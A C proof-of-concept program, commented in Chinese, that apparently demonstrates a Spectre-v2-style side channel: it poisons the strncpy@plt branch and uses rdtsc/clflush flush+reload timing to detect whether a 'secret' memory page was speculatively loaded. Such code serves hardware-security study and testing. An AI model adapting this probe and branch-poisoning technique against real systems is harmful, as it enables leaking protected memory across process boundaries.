#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>

#define  CYCLES_LOAD_FROM_MEMORY   100

//这段数据纯粹是确保后面的数据能被缺页加载，这样能更好的比较数据从不同的存储介质中load消耗的时间差异
__attribute__((section(".data.offset"), aligned(0x10000))) const char offset[0x10000] = {'x',};       

__attribute__((section(".data.secret"), aligned(0x10000))) const char secret[0x10000] = {'x',};   //保密数据

void fail_trace(char *reason){
    fprintf(stderr, "failed reason: %s \n\r", reason);
    exit(EXIT_FAILURE);
}

void get_secret() {
    __asm__ ("movq 0(%0),%%rax\n\t"   \
                      : :"c" (secret)); 
}

int delta_time_detect(char *addr) {
    volatile uint64_t delta_time;
    asm __volatile__ (
                    " mfence\n\t"
                    " lfence\n\t"
                    " rdtsc\n\t"
                    " lfence\n\t"
                    " movl %%eax, %%ebx \n\t"
                    " movl (%1), %%eax\n\t"   //不停的load该地址处数据，如果之前预测执行加载过了该地址处的数据，那么从L1D-Cache load，该delta_time < 40 cycles
                    " lfence\n\t"
                    " rdtsc\n\t"
                    " subl %%ebx, %%eax \n\t"
                    " clflush 0(%1)\n\t"
                    : "=a" (delta_time)
                    : "c" (addr));
                    return delta_time;
}

int main(int argc, char *argv[]){   
    u_int64_t delta_time = delta_time_detect(secret); 
    printf("first fetch and flush, delta_time:  %lu\n\r", delta_time); 
   char buffer[4];
   int loop = 0;
   int loop1 = 0;
    while(1){
      uint32_t temp = 0x1000;
      strncpy(buffer,&temp , sizeof(temp));  //该函数是DSO类型的共享函数，因此通过poison strncpy@plt分支，实现mispredict.
      u_int64_t delta_time = delta_time_detect(secret); 
      if (delta_time < CYCLES_LOAD_FROM_MEMORY) {
          ++loop;
        printf("delta_time:  %lu\n\r", delta_time);
        if (loop > 5) {
            break;
        }       
      }
       else {              
        if (loop1 < 5) {
             ++loop1;
            printf("delta_time > %lu cycles: %lu\n\r", CYCLES_LOAD_FROM_MEMORY,  delta_time);            
        }       
        }      
    }
    exit(EXIT_SUCCESS);
}
